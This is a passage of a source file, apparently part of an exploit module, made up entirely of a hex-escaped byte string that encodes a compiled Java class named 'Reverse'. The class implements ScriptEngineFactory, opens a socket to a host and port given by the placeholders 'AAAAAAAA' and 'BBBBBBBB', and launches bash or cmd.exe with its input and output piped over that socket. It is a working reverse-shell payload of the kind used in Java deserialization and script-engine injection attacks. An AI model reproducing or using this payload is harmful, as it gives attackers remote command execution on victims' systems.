+\n\t\t\"\\x6e\\x73\\x01\\x00\\x12\\x28\\x29\\x4c\" +\n\t\t\"\\x6a\\x61\\x76\\x61\\x2f\\x75\\x74\\x69\" +\n\t\t\"\\x6c\\x2f\\x4c\\x69\\x73\\x74\\x3b\\x01\" +\n\t\t\"\\x00\\x09\\x53\\x69\\x67\\x6e\\x61\\x74\" +\n\t\t\"\\x75\\x72\\x65\\x01\\x00\\x26\\x28\\x29\" +\n\t\t\"\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x75\\x74\" +\n\t\t\"\\x69\\x6c\\x2f\\x4c\\x69\\x73\\x74\\x3c\" +\n\t\t\"\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\" +\n\t\t\"\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\" +\n\t\t\"\\x67\\x3b\\x3e\\x3b\\x01\\x00\\x0c\\x67\" +\n\t\t\"\\x65\\x74\\x4d\\x69\\x6d\\x65\\x54\\x79\" +\n\t\t\"\\x70\\x65\\x73\\x01\\x00\\x08\\x67\\x65\" +\n\t\t\"\\x74\\x4e\\x61\\x6d\\x65\\x73\\x01\\x00\" +\n\t\t\"\\x0f\\x67\\x65\\x74\\x4c\\x61\\x6e\\x67\" +\n\t\t\"\\x75\\x61\\x67\\x65\\x4e\\x61\\x6d\\x65\" +\n\t\t\"\\x01\\x00\\x12\\x67\\x65\\x74\\x4c\\x61\" +\n\t\t\"\\x6e\\x67\\x75\\x61\\x67\\x65\\x56\\x65\" +\n\t\t\"\\x72\\x73\\x69\\x6f\\x6e\\x01\\x00\\x0c\" +\n\t\t\"\\x67\\x65\\x74\\x50\\x61\\x72\\x61\\x6d\" +\n\t\t\"\\x65\\x74\\x65\\x72\\x01\\x00\\x26\\x28\" +\n\t\t\"\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\" +\n\t\t\"\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\" +\n\t\t\"\\x67\\x3b\\x29\\x4c\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x4f\\x62\" +\n\t\t\"\\x6a\\x65\\x63\\x74\\x3b\\x01\\x00\\x13\" +\n\t\t\"\\x67\\x65\\x74\\x4d\\x65\\x74\\x68\\x6f\" +\n\t\t\"\\x64\\x43\\x61\\x6c\\x6c\\x53\\x79\\x6e\" +\n\t\t\"\\x74\\x61\\x78\\x01\\x00\\x4b\\x28\\x4c\" +\n\t\t\"\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\" +\n\t\t\"\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\" +\n\t\t\"\\x3b\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\" +\n\t\t\"\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\" +\n\t\t\"\\x6e\\x67\\x3b\\x5b\\x4c\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\" +\n\t\t\"\\x74\\x72\\x69\\x6e\\x67\\x3b\\x29\\x4c\" +\n\t\t\"\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\" +\n\t\t\"\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\" +\n\t\t\"\\x3b\\x01\\x00\\x12\\x67\\x65\\x74\\x4f\" +\n\t\t\"\\x75\\x74\\x70\\x75\\x74\\x53\\x74\\x61\" +\n\t\t\"\\x74\\x65\\x6d\\x65\\x6e\\x74\\x01\\x00\" +\n\t\t\"\\x26\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\" +\n\t\t\"\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\" +\n\t\t\"\\x69\\x6e\\x67\\x3b\\x29\\x4c\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\" +\n\t\t\"\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x01\" +\n\t\t\"\\x00\\x0a\\x67\\x65\\x74\\x50\\x72\\x6f\" +\n\t\t\"\\x67\\x72\\x61\\x6d\\x01\\x00\\x27\\x28\" +\n\t\t\"\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\" +\n\t\t\"\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\" +\n\t\t\"\\x6e\\x67\\x3b\\x29\\x4c\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\" +\n\t\t\"\\x74\\x72\\x69\\x6e\\x67\\x3b\\x01\\x00\" +\n\t\t\"\\x0f\\x67\\x65\\x74\\x53\\x63\\x72\\x69\" +\n\t\t\"\\x70\\x74\\x45\\x6e\\x67\\x69\\x6e\\x65\" +\n\t\t\"\\x01\\x00\\x1d\\x28\\x29\\x4c\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x78\\x2f\\x73\\x63\\x72\\x69\" +\n\t\t\"\\x70\\x74\\x2f\\x53\\x63\\x72\\x69\\x70\" +\n\t\t\"\\x74\\x45\\x6e\\x67\\x69\\x6e\\x65\\x3b\" +\n\t\t\"\\x01\\x00\\x0a\\x53\\x6f\\x75\\x72\\x63\" +\n\t\t\"\\x65\\x46\\x69\\x6c\\x65\\x01\\x00\\x0c\" +\n\t\t\"\\x52\\x65\\x76\\x65\\x72\\x73\\x65\\x2e\" +\n\t\t\"\\x6a\\x61\\x76\\x61\\x0c\\x00\\x38\\x00\" +\n\t\t\"\\x39\\x01\\x00\\x04\\x62\\x61\\x73\\x68\" +\n\t\t\"\\x01\\x00\\x07\\x6f\\x73\\x2e\\x6e\\x61\" +\n\t\t\"\\x6d\\x65\\x07\\x00\\x87\\x0c\\x00\\x88\" +\n\t\t\"\\x00\\x4e\\x01\\x00\\x07\\x57\\x69\\x6e\" +\n\t\t\"\\x64\\x6f\\x77\\x73\\x0c\\x00\\x89\\x00\" +\n\t\t\"\\x8a\\x01\\x00\\x07\\x63\\x6d\\x64\\x2e\" +\n\t\t\"\\x65\\x78\\x65\\x01\\x00\\x18\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\" +\n\t\t\"\\x50\\x72\\x6f\\x63\\x65\\x73\\x73\\x42\" +\n\t\t\"\\x75\\x69\\x6c\\x64\\x65\\x72\\x01\\x00\" +\n\t\t\"\\x10\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\" +\n\t\t\"\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\" +\n\t\t\"\\x67\\x0c\\x00\\x38\\x00\\x8b\\x0c\\x00\" +\n\t\t\"\\x8c\\x00\\x8d\\x0c\\x00\\x8e\\x00\\x8f\" +\n\t\t\"\\x01\\x00\\x0f\\x6a\\x61\\x76\\x61\\x2f\" +\n\t\t\"\\x6e\\x65\\x74\\x2f\\x53\\x6f\\x63\\x6b\" +\n\t\t\"\\x65\\x74\\x01\\x00\\x07\\x52\\x65\\x76\" +\n\t\t\"\\x65\\x72\\x73\\x65\\x01\\x00\\x08\\x41\" +\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x01\" +\n\t\t\"\\x00\\x08\\x42\\x42\\x42\\x42\\x42\\x42\" +\n\t\t\"\\x42\\x42\\x07\\x00\\x90\\x0c\\x00\\x91\" +\n\t\t\"\\x00\\x8a\\x0c\\x00\\x38\\x00\\x92\\x01\" +\n\t\t\"\\x00\\x16\\x6a\\x61\\x76\\x61\\x2f\\x69\" +\n\t\t\"\\x6f\\x2f\\x42\\x75\\x66\\x66\\x65\\x72\" +\n\t\t\"\\x65\\x64\\x52\\x65\\x61\\x64\\x65\\x72\" +\n\t\t\"\\x01\\x00\\x19\\x6a\\x61\\x76\\x61\\x2f\" +\n\t\t\"\\x69\\x6f\\x2f\\x49\\x6e\\x70\\x75\\x74\" +\n\t\t\"\\x53\\x74\\x72\\x65\\x61\\x6d\\x52\\x65\" +\n\t\t\"\\x61\\x64\\x65\\x72\\x0c\\x00\\x93\\x00\" +\n\t\t\"\\x94\\x0c\\x00\\x38\\x00\\x95\\x0c\\x00\" +\n\t\t\"\\x38\\x00\\x96\\x01\\x00\\x16\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x42\\x75\" +\n\t\t\"\\x66\\x66\\x65\\x72\\x65\\x64\\x57\\x72\" +\n\t\t\"\\x69\\x74\\x65\\x72\\x01\\x00\\x1a\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x4f\" +\n\t\t\"\\x75\\x74\\x70\\x75\\x74\\x53\\x74\\x72\" +\n\t\t\"\\x65\\x61\\x6d\\x57\\x72\\x69\\x74\\x65\" +\n\t\t\"\\x72\\x0c\\x00\\x97\\x00\\x98\\x0c\\x00\" +\n\t\t\"\\x38\\x00\\x99\\x0c\\x00\\x38\\x00\\x9a\" +\n\t\t\"\\x0c\\x00\\x9b\\x00\\x9c\\x0c\\x00\\x9d\" +\n\t\t\"\\x00\\x3f\\x01\\x00\\x17\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\" +\n\t\t\"\\x74\\x72\\x69\\x6e\\x67\\x42\\x75\\x69\" +\n\t\t\"\\x6c\\x64\\x65\\x72\\x0c\\x00\\x9e\\x00\" +\n\t\t\"\\x9f\\x01\\x00\\x01\\x0a\\x0c\\x00\\xa0\" +\n\t\t\"\\x00\\x3f\\x0c\\x00\\xa1\\x00\\xa2\\x0c\" +\n\t\t\"\\x00\\xa3\\x00\\x39\\x07\\x00\\xa4\\x0c\" +\n\t\t\"\\x00\\xa5\\x00\\xa6\\x0c\\x00\\xa7\\x00\" +\n\t\t\"\\x9c\\x0c\\x00\\xa8\\x00\\xa9\\x0c\\x00\" +\n\t\t\"\\xa1\\x00\\xaa\\x0c\\x00\\xab\\x00\\xa9\" +\n\t\t\"\\x01\\x00\\x13\\x6a\\x61\\x76\\x61\\x2f\" +\n\t\t\"\\x6c\\x61\\x6e\\x67\\x2f\\x45\\x78\\x63\" +\n\t\t\"\\x65\\x70\\x74\\x69\\x6f\\x6e\\x0c\\x00\" +\n\t\t\"\\xac\\x00\\x39\\x0c\\x00\\xad\\x00\\x39\" +\n\t\t\"\\x01\\x00\\x10\\x6a\\x61\\x76\\x61\\x2f\" +\n\t\t\"\\x6c\\x61\\x6e\\x67\\x2f\\x4f\\x62\\x6a\" +\n\t\t\"\\x65\\x63\\x74\\x01\\x00\\x20\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x78\\x2f\\x73\\x63\\x72\\x69\" +\n\t\t\"\\x70\\x74\\x2f\\x53\\x63\\x72\\x69\\x70\" +\n\t\t\"\\x74\\x45\\x6e\\x67\\x69\\x6e\\x65\\x46\" +\n\t\t\"\\x61\\x63\\x74\\x6f\\x72\\x79\\x01\\x00\" +\n\t\t\"\\x11\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\" +\n\t\t\"\\x6e\\x67\\x2f\\x50\\x72\\x6f\\x63\\x65\" +\n\t\t\"\\x73\\x73\\x01\\x00\\x10\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\" +\n\t\t\"\\x79\\x73\\x74\\x65\\x6d\\x01\\x00\\x0b\" +\n\t\t\"\\x67\\x65\\x74\\x50\\x72\\x6f\\x70\\x65\" +\n\t\t\"\\x72\\x74\\x79\\x01\\x00\\x07\\x69\\x6e\" +\n\t\t\"\\x64\\x65\\x78\\x4f\\x66\\x01\\x00\\x15\" +\n\t\t\"\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\" +\n\t\t\"\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\" +\n\t\t\"\\x6e\\x67\\x3b\\x29\\x49\\x01\\x00\\x16\" +\n\t\t\"\\x28\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2f\" +\n\t\t\"\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\" +\n\t\t\"\\x69\\x6e\\x67\\x3b\\x29\\x56\\x01\\x00\" +\n\t\t\"\\x13\\x72\\x65\\x64\\x69\\x72\\x65\\x63\" +\n\t\t\"\\x74\\x45\\x72\\x72\\x6f\\x72\\x53\\x74\" +\n\t\t\"\\x72\\x65\\x61\\x6d\\x01\\x00\\x1d\\x28\" +\n\t\t\"\\x5a\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\" +\n\t\t\"\\x6c\\x61\\x6e\\x67\\x2f\\x50\\x72\\x6f\" +\n\t\t\"\\x63\\x65\\x73\\x73\\x42\\x75\\x69\\x6c\" +\n\t\t\"\\x64\\x65\\x72\\x3b\\x01\\x00\\x05\\x73\" +\n\t\t\"\\x74\\x61\\x72\\x74\\x01\\x00\\x15\\x28\" +\n\t\t\"\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\" +\n\t\t\"\\x61\\x6e\\x67\\x2f\\x50\\x72\\x6f\\x63\" +\n\t\t\"\\x65\\x73\\x73\\x3b\\x01\\x00\\x11\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\" +\n\t\t\"\\x2f\\x49\\x6e\\x74\\x65\\x67\\x65\\x72\" +\n\t\t\"\\x01\\x00\\x08\\x70\\x61\\x72\\x73\\x65\" +\n\t\t\"\\x49\\x6e\\x74\\x01\\x00\\x16\\x28\\x4c\" +\n\t\t\"\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\" +\n\t\t\"\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\" +\n\t\t\"\\x3b\\x49\\x29\\x56\\x01\\x00\\x0e\\x67\" +\n\t\t\"\\x65\\x74\\x49\\x6e\\x70\\x75\\x74\\x53\" +\n\t\t\"\\x74\\x72\\x65\\x61\\x6d\\x01\\x00\\x17\" +\n\t\t\"\\x28\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\" +\n\t\t\"\\x69\\x6f\\x2f\\x49\\x6e\\x70\\x75\\x74\" +\n\t\t\"\\x53\\x74\\x72\\x65\\x61\\x6d\\x3b\\x01\" +\n\t\t\"\\x00\\x18\\x28\\x4c\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2f\\x69\\x6f\\x2f\\x49\\x6e\\x70\\x75\" +\n\t\t\"\\x74\\x53\\x74\\x72\\x65\\x61\\x6d\\x3b\" +\n\t\t\"\\x29\\x56\\x01\\x00\\x13\\x28\\x4c\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x52\" +\n\t\t\"\\x65\\x61\\x64\\x65\\x72\\x3b\\x29\\x56\" +\n\t\t\"\\x01\\x00\\x0f\\x67\\x65\\x74\\x4f\\x75\" +\n\t\t\"\\x74\\x70\\x75\\x74\\x53\\x74\\x72\\x65\" +\n\t\t\"\\x61\\x6d\\x01\\x00\\x18\\x28\\x29\\x4c\" +\n\t\t\"\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\" +\n\t\t\"\\x4f\\x75\\x74\\x70\\x75\\x74\\x53\\x74\" +\n\t\t\"\\x72\\x65\\x61\\x6d\\x3b\\x01\\x00\\x19\" +\n\t\t\"\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x69\" +\n\t\t\"\\x6f\\x2f\\x4f\\x75\\x74\\x70\\x75\\x74\" +\n\t\t\"\\x53\\x74\\x72\\x65\\x61\\x6d\\x3b\\x29\" +\n\t\t\"\\x56\\x01\\x00\\x13\\x28\\x4c\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x57\\x72\" +\n\t\t\"\\x69\\x74\\x65\\x72\\x3b\\x29\\x56\\x01\" +\n\t\t\"\\x00\\x08\\x69\\x73\\x43\\x6c\\x6f\\x73\" +\n\t\t\"\\x65\\x64\\x01\\x00\\x03\\x28\\x29\\x5a\" +\n\t\t\"\\x01\\x00\\x08\\x72\\x65\\x61\\x64\\x4c\" +\n\t\t\"\\x69\\x6e\\x65\\x01\\x00\\x06\\x61\\x70\" +\n\t\t\"\\x70\\x65\\x6e\\x64\\x01\\x00\\x2d\\x28\" +\n\t\t\"\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\" +\n\t\t\"\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\" +\n\t\t\"\\x67\\x3b\\x29\\x4c\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\" +\n\t\t\"\\x72\\x69\\x6e\\x67\\x42\\x75\\x69\\x6c\" +\n\t\t\"\\x64\\x65\\x72\\x3b\\x01\\x00\\x08\\x74\" +\n\t\t\"\\x6f\\x53\\x74\\x72\\x69\\x6e\\x67\\x01\" +\n\t\t\"\\x00\\x05\\x77\\x72\\x69\\x74\\x65\\x01\" +\n\t\t\"\\x00\\x15\\x28\\x4c\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\" +\n\t\t\"\\x72\\x69\\x6e\\x67\\x3b\\x29\\x56\\x01\" +\n\t\t\"\\x00\\x05\\x66\\x6c\\x75\\x73\\x68\\x01\" +\n\t\t\"\\x00\\x10\\x6a\\x61\\x76\\x61\\x2f\\x6c\" +\n\t\t\"\\x61\\x6e\\x67\\x2f\\x54\\x68\\x72\\x65\" +\n\t\t\"\\x61\\x64\\x01\\x00\\x05\\x73\\x6c\\x65\" +\n\t\t\"\\x65\\x70\\x01\\x00\\x04\\x28\\x4a\\x29\" +\n\t\t\"\\x56\\x01\\x00\\x05\\x72\\x65\\x61\\x64\" +\n\t\t\"\\x79\\x01\\x00\\x04\\x72\\x65\\x61\\x64\" +\n\t\t\"\\x01\\x00\\x03\\x28\\x29\\x49\\x01\\x00\" +\n\t\t\"\\x04\\x28\\x49\\x29\\x56\\x01\\x00\\x09\" +\n\t\t\"\\x65\\x78\\x69\\x74\\x56\\x61\\x6c\\x75\" +\n\t\t\"\\x65\\x01\\x00\\x07\\x64\\x65\\x73\\x74\" +\n\t\t\"\\x72\\x6f\\x79\\x01\\x00\\x05\\x63\\x6c\" +\n\t\t\"\\x6f\\x73\\x65\\x00\\x21\\x00\\x0e\\x00\" +\n\t\t\"\\x32\\x00\\x01\\x00\\x33\\x00\\x02\\x00\" +\n\t\t\"\\x18\\x00\\x34\\x00\\x35\\x00\\x01\\x00\" +\n\t\t\"\\x36\\x00\\x00\\x00\\x02\\x00\\x0f\\x00\" +\n\t\t\"\\x18\\x00\\x37\\x00\\x35\\x00\\x01\\x00\" +\n\t\t\"\\x36\\x00\\x00\\x00\\x02\\x00\\x10\\x00\" +\n\t\t\"\\x0d\\x00\\x01\\x00\\x38\\x00\\x39\\x00\" +\n\t\t\"\\x01\\x00\\x3a\\x00\\x00\\x01\\xeb\\x00\" +\n\t\t\"\\x06\\x00\\x0b\\x00\\x00\\x01\\x03\\x2a\" +\n\t\t\"\\xb7\\x00\\x01\\x12\\x02\\x4c\\x12\\x03\" +\n\t\t\"\\xb8\\x00\\x04\\x12\\x05\\xb6\\x00\\x06\" +\n\t\t\"\\x02\\x9f\\x00\\x06\\x12\\x07\\x4c\\xbb\" +\n\t\t\"\\x00\\x08\\x59\\x04\\xbd\\x00\\x09\\x59\" +\n\t\t\"\\x03\\x2b\\x53\\xb7\\x00\\x0a\\x04\\xb6\" +\n\t\t\"\\x00\\x0b\\xb6\\x00\\x0c\\x4d\\xbb\\x00\" +\n\t\t\"\\x0d\\x59\\x12\\x0f\\x12\\x10\\xb8\\x00\" +\n\t\t\"\\x11\\xb7\\x00\\x12\\x4e\\xbb\\x00\\x13\" +\n\t\t\"\\x59\\xbb\\x00\\x14\\x59\\x2d\\xb6\\x00\" +\n\t\t\"\\x15\\xb7\\x00\\x16\\xb7\\x00\\x17\\x3a\" +\n\t\t\"\\x04\\xbb\\x00\\x18\\x59\\xbb\\x00\\x19\" +\n\t\t\"\\x59\\x2d\\xb6\\x00\\x1a\\xb7\\x00\\x1b\" +\n\t\t\"\\xb7\\x00\\x1c\\x3a\\x05\\xbb\\x00\\x18\" +\n\t\t\"\\x59\\xbb\\x00\\x19\\x59\\x2c\\xb6\\x00\" +\n\t\t\"\\x1d\\xb7\\x00\\x1b\\xb7\\x00\\x1c\\x3a\" +\n\t\t\"\\x06\\xbb\\x00\\x13\\x59\\xbb\\x00\\x14\" +\n\t\t\"\\x59\\x2c\\xb6\\x00\\x1e\\xb7\\x00\\x16\" +\n\t\t\"\\xb7\\x00\\x17\\x3a\\x07\\x2d\\xb6\\x00\" +\n\t\t\"\\x1f\\x9a\\x00\\x64\\x19\\x04\\xb6\\x00\" +\n\t\t\"\\x20\\x59\\x3a\\x08\\xc6\\x00\\x21\\x19\" +\n\t\t\"\\x06\\xbb\\x00\\x21\\x59\\xb7\\x00\\x22\" +\n\t\t\"\\x19\\x08\\xb6\\x00\\x23\\x12\\x24\\xb6\" +\n\t\t\"\\x00\\x23\\xb6\\x00\\x25\\xb6\\x00\\x26\" +\n\t\t\"\\x19\\x06\\xb6\\x00\\x27\\x14\\x00\\x28\" +\n\t\t\"\\xb8\\x00\\x2a\\x03\\x36\\x09\\x19\\x07\" +\n\t\t\"\\xb6\\x00\\x2b\\x99\\x00\\x18\\x19\\x07\" +\n\t\t\"\\xb6\\x00\\x2c\\x59\\x36\\x09\\x9e\\x00\" +\n\t\t\"\\x0d\\x19\\x05\\x15\\x09\\xb6\\x00\\x2d\" +\n\t\t\"\\xa7\\xff\\xe6\\x19\\x05\\xb6\\x00\\x27\" +\n\t\t\"\\x2c\\xb6\\x00\\x2e\\x57\\xa7\\x00\\x08\" +\n\t\t\"\\x3a\\x0a\\xa7\\xff\\x9b\\x2c\\xb6\\x00\" +\n\t\t\"\\x30\\x2d\\xb6\\x00\\x31\\xa7\\x00\\x04\" +\n\t\t\"\\x4c\\xb1\\x00\\x02\\x00\\xe9\\x00\\xee\" +\n\t\t\"\\x00\\xf1\\x00\\x2f\\x00\\x04\\x00\\xfe\" +\n\t\t\"\\x01\\x01\\x00\\x2f\\x00\\x02\\x00\\x3b\" +\n\t\t\"\\x00\\x00\\x00\\x72\\x00\\x1c\\x00\\x00\" +\n\t\t\"\\x00\\x12\\x00\\x04\\x00\\x14\\x00\\x07\" +\n\t\t\"\\x00\\x15\\x00\\x15\\x00\\x16\\x00\\x18\" +\n\t\t\"\\x00\\x19\\x00\\x2f\\x00\\x1a\\x00\\x3e\" +\n\t\t\"\\x00\\x1b\\x00\\x52\\x00\\x1c\\x00\\x66\" +\n\t\t\"\\x00\\x1d\\x00\\x7a\\x00\\x1e\\x00\\x8e\" +\n\t\t\"\\x00\\x20\\x00\\x95\\x00\\x22\\x00\\xa0\" +\n\t\t\"\\x00\\x23\\x00\\xb9\\x00\\x24\\x00\\xbe\" +\n\t\t\"\\x00\\x26\\x00\\xc4\\x00\\x28\\x00\\xc7\" +\n\t\t\"\\x00\\x29\\x00\\xda\\x00\\x2a\\x00\\xe4\" +\n\t\t\"\\x00\\x2c\\x00\\xe9\\x00\\x2e\\x00\\xee\" +\n\t\t\"\\x00\\x2f\\x00\\xf1\\x00\\x30\\x00\\xf3\" +\n\t\t\"\\x00\\x32\\x00\\xf6\\x00\\x34\\x00\\xfa\" +\n\t\t\"\\x00\\x35\\x00\\xfe\\x00\\x37\\x01\\x01\" +\n\t\t\"\\x00\\x36\\x01\\x02\\x00\\x38\\x00\\x3c\" +\n\t\t\"\\x00\\x00\\x00\\x4e\\x00\\x09\\xff\\x00\" +\n\t\t\"\\x18\\x00\\x02\\x07\\x00\\x0e\\x07\\x00\" +\n\t\t\"\\x09\\x00\\x00\\xff\\x00\\x75\\x00\\x08\" +\n\t\t\"\\x07\\x00\\x0e\\x07\\x00\\x09\\x07\\x00\" +\n\t\t\"\\x3d\\x07\\x00\\x0d\\x07\\x00\\x13\\x07\" +\n\t\t\"\\x00\\x18\\x07\\x00\\x18\\x07\\x00\\x13\" +\n\t\t\"\\x00\\x00\\xfc\\x00\\x2f\\x07\\x00\\x09\" +\n\t\t\"\\xfc\\x00\\x08\\x01\\x1c\\x4c\\x07\\x00\" +\n\t\t\"\\x2f\\xf9\\x00\\x04\\xff\\x00\\x0a\\x00\" +\n\t\t\"\\x01\\x07\\x00\\x0e\\x00\\x01\\x07\\x00\" +\n\t\t\"\\x2f\\x00\\x00\\x01\\x00\\x3e\\x00\\x3f\" +\n\t\t\"\\x00\\x01\\x00\\x3a\\x00\\x00\\x00\\x1a\" +\n\t\t\"\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x01\\xb0\\x00\\x00\\x00\\x01\\x00\\x3b\" +\n\t\t\"\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\" +\n\t\t\"\\x00\\x3b\\x00\\x01\\x00\\x40\\x00\\x3f\" +\n\t\t\"\\x00\\x01\\x00\\x3a\\x00\\x00\\x00\\x1a\" +\n\t\t\"\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x01\\xb0\\x00\\x00\\x00\\x01\\x00\\x3b\" +\n\t\t\"\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\" +\n\t\t\"\\x00\\x40\\x00\\x01\\x00\\x41\\x00\\x42\" +\n\t\t\"\\x00\\x02\\x00\\x3a\\x00\\x00\\x00\\x1a\" +\n\t\t\"\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x01\\xb0\\x00\\x00\\x00\\x01\\x00\\x3b\" +\n\t\t\"\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\" +\n\t\t\"\\x00\\x45\\x00\\x43\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x00\\x44\\x00\\x01\\x00\\x45\\x00\\x42\" +\n\t\t\"\\x00\\x02\\x00\\x3a\\x00\\x00\\x00\\x1a\" +\n\t\t\"\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x01\\xb0\\x00\\x00\\x00\\x01\\x00\\x3b\" +\n\t\t\"\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\" +\n\t\t\"\\x00\\x4a\\x00\\x43\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x00\\x44\\x00\\x01\\x00\\x46\\x00\\x42\" +\n\t\t\"\\x00\\x02\\x00\\x3a\\x00\\x00\\x00\\x1a\" +\n\t\t\"\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x01\\xb0\\x00\\x00\\x00\\x01\\x00\\x3b\" +\n\t\t\"\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\" +\n\t\t\"\\x00\\x4f\\x00\\x43\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x00\\x44\\x00\\x01\\x00\\x47\\x00\\x3f\" +\n\t\t\"\\x00\\x01\\x00\\x3a\\x00\\x00\\x00\\x1a\" +\n\t\t\"\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x01\\xb0\\x00\\x00\\x00\\x01\\x00\\x3b\" +\n\t\t\"\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\" +\n\t\t\"\\x00\\x54\\x00\\x01\\x00\\x48\\x00\\x3f\" +\n\t\t\"\\x00\\x01\\x00\\x3a\\x00\\x00\\x00\\x1a\" +\n\t\t\"\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x01\\xb0\\x00\\x00\\x00\\x01\\x00\\x3b\" +\n\t\t\"\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\" +\n\t\t\"\\x00\\x59\\x00\\x01\\x00\\x49\\x00\\x4a\" +\n\t\t\"\\x00\\x01\\x00\\x3a\\x00\\x00\\x00\\x1a\" +\n\t\t\"\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x01\\xb0\\x00\\x00\\x00\\x01\\x00\\x3b\" +\n\t\t\"\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\" +\n\t\t\"\\x00\\x5e\\x00\\x81\\x00\\x4b\\x00\\x4c\" +\n\t\t\"\\x00\\x01\\x00\\x3a\\x00\\x00\\x00\\x1a\" +\n\t\t\"\\x00\\x01\\x00\\x04\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x01\\xb0\\x00\\x00\\x00\\x01\\x00\\x3b\" +\n\t\t\"\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\" +\n\t\t\"\\x00\\x63\\x00\\x01\\x00\\x4d\\x00\\x4e\" +\n\t\t\"\\x00\\x01\\x00\\x3a\\x00\\x00\\x00\\x1a\" +\n\t\t\"\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x01\\xb0\\x00\\x00\\x00\\x01\\x00\\x3b\" +\n\t\t\"\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\" +\n\t\t\"\\x00\\x68\\x00\\x81\\x00\\x4f\\x00\\x50\" +\n\t\t\"\\x00\\x01\\x00\\x3a\\x00\\x00\\x00\\x1a\" +\n\t\t\"\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x01\\xb0\\x00\\x00\\x00\\x01\\x00\\x3b\" +\n\t\t\"\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\" 